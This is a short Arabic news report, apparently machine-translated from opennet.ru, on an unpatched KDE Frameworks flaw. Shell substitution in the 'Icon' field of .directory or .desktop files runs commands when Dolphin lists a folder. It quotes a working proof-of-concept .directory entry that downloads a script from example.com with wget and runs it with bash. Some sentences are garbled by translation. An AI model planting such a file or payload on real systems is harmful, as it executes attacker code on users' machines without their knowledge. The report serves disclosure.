ثغرة أمنية في تنفيذ كود KDE عند عرض قائمة الملفات

في كيدي المحددة عالي التأثر، والذي يسمح للمهاجم بتنفيذ أوامر عشوائية عندما يشاهد المستخدم دليلًا أو أرشيفًا يحتوي على ملفات ".desktop" و".directory" المصممة خصيصًا. يتطلب الهجوم أن يقوم المستخدم ببساطة بعرض قائمة الملفات في مدير ملفات Dolphin، أو تنزيل ملف سطح مكتب ضار، أو سحب اختصار إلى سطح المكتب أو إلى مستند. تتجلى المشكلة في الإصدار الحالي من المكتبات KDE Frameworks 5.60.0 والإصدارات الأقدم، حتى KDE 4. ولا تزال الثغرة الأمنية قائمة بقايا غير مصحح (لم يتم تعيين CVE).

سبب المشكلة هو التنفيذ غير الصحيح لفئة KDesktopFile، والتي، عند معالجة متغير "Icon"، دون الهروب المناسب، تمرر القيمة إلى وظيفة KConfigPrivate::expandString()، التي تقوم بتوسيع أحرف الصدفة الخاصة، بما في ذلك المعالجة السلاسل "$(..)" كأوامر ليتم تنفيذها. خلافًا لمتطلبات مواصفات XDG، تم التنفيذ إفشاء يتم إنتاج بنيات الصدفة دون فصل نوع الإعدادات، أي. ليس فقط عند تحديد سطر أوامر التطبيق الذي سيتم تشغيله، ولكن أيضًا عند تحديد الرموز المعروضة افتراضيًا.

على سبيل المثال، للهجوم يكفي أرسل للمستخدم أرشيفًا مضغوطًا يحتوي على دليل يحتوي على ملف ".directory" مثل:

[Desktop Entry] Type=Directory
أيقونة[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

عند محاولة عرض محتويات الأرشيف في مدير ملفات Dolphin، سيتم تنزيل البرنامج النصي https://example.com/FILENAME.sh وتنفيذه.


المصدر: opennet.ru

إضافة تعليق